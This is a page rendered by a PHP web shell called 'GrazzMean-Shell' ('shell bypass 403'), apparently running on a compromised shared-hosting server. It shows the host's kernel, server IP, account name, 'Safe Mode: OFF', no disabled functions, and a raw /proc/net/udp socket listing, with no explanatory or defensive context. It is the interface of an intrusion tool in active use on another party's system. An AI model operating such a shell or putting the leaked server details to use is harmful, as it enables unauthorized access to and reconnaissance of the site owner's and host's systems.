shell bypass 403

GrazzMean-Shell Shell

: /proc/net/ [ dr-xr-xr-x ]
Uname: Linux business55.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
Software: LiteSpeed
PHP version: 8.1.32 [ PHP INFO ] PHP os: Linux
Server Ip: 162.213.251.212
Your Ip: 18.226.52.76
User: allssztx (535) | Group: allssztx (533)
Safe Mode: OFF
Disable Function:
NONE

name : udp
  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode ref pointer drops             
12808: 00000000:86A4 00000000:0000 07 00000000:00000000 00:00000000 00000000     0        0 2809629006 2 0000000000000000 0    
21715: 63006464:A96F 00000000:0000 07 00000000:00000000 00:00000000 00000000   477        0 4090564523 2 0000000000000000 0    
26697: 00000000:BCE5 00000000:0000 07 00000000:00000000 00:00000000 00000000     0        0 2809730612 2 0000000000000000 0    
29517: 00000000:C7E9 00000000:0000 07 00000000:00000000 00:00000000 00000000     0        0 2809731339 2 0000000000000000 0    
29927: 00000000:C983 00000000:0000 07 00000000:00000000 00:00000000 00000000     0        0 2835025520 2 0000000000000000 0    
34399: 00000000:DAFB 00000000:0000 07 00000000:00000000 00:00000000 00000000     0        0 2809616934 2 0000000000000000 0    
40748: CFFBD5A2:F3C8 08646464:0035 01 00000000:00000000 00:00000000 00000000  1910        0 2919419238 2 0000000000000000 0    
43929: 87991D42:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 3109472124 2 0000000000000000 0    
43929: 1C7E36C6:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 3109472122 2 0000000000000000 0    
43929: C9E500A2:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 3109472120 2 0000000000000000 0    
43929: F6FBD5A2:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 3109472118 2 0000000000000000 0    
43929: D4FBD5A2:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 3109472116 2 0000000000000000 0    
43929: D3FBD5A2:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 3109472114 2 0000000000000000 0    
43929: D2FBD5A2:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 3109472112 2 0000000000000000 0    
43929: D1FBD5A2:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 3109472110 2 0000000000000000 0    
43929: D0FBD5A2:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 3109472108 2 0000000000000000 46   
43929: 8426FA3F:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 3109472106 2 0000000000000000 0    
43929: BD794144:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 3109472104 2 0000000000000000 0    
43929: CFFBD5A2:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 3109472102 2 0000000000000000 0    
43929: 2E3E630A:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 3109472100 2 0000000000000000 0    
43929: 63006464:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 3109472097 2 0000000000000000 0    
43929: 0100007F:0035 00000000:0000 07 00000000:00000000 00:00000000 00000000    25        0 3109472095 2 0000000000000000 0    
43944: 00000000:0044 00000000:0000 07 00000000:00000000 00:00000000 00000000     0        0 37059 2 0000000000000000 0         
43987: 00000000:006F 00000000:0000 07 00000000:00000000 00:00000000 00000000     0        0 18577 2 0000000000000000 0         
44199: 0100007F:0143 00000000:0000 07 00000000:00000000 00:00000000 00000000     0        0 1181501239 2 0000000000000000 0    
44320: 00000000:01BC 00000000:0000 07 00000000:00000000 00:00000000 00000000     0        0 1683328367 2 0000000000000000 0    
44390: 0100007F:0202 00000000:0000 07 00000000:00000000 00:00000000 00000000     0        0 3527002675 2 0000000000000000 0    
47660: 00000000:0EC8 00000000:0000 07 00000000:00000000 00:00000000 00000000   477        0 4090564519 2 0000000000000000 0    
48660: 00000000:12B0 00000000:0000 07 00000000:00000000 00:00000000 00000000   477        0 4090564520 2 0000000000000000 0    
52763: 00000000:22B7 00000000:0000 07 00000000:00000000 00:00000000 00000000     0        0 2797191689 2 0000000000000000 0    
55287: CFFBD5A2:2C93 08646464:0035 01 00000000:00000000 00:00000000 00000000  1867        0 2865900531 2 0000000000000000 0    
© 2025 GrazzMean-Shell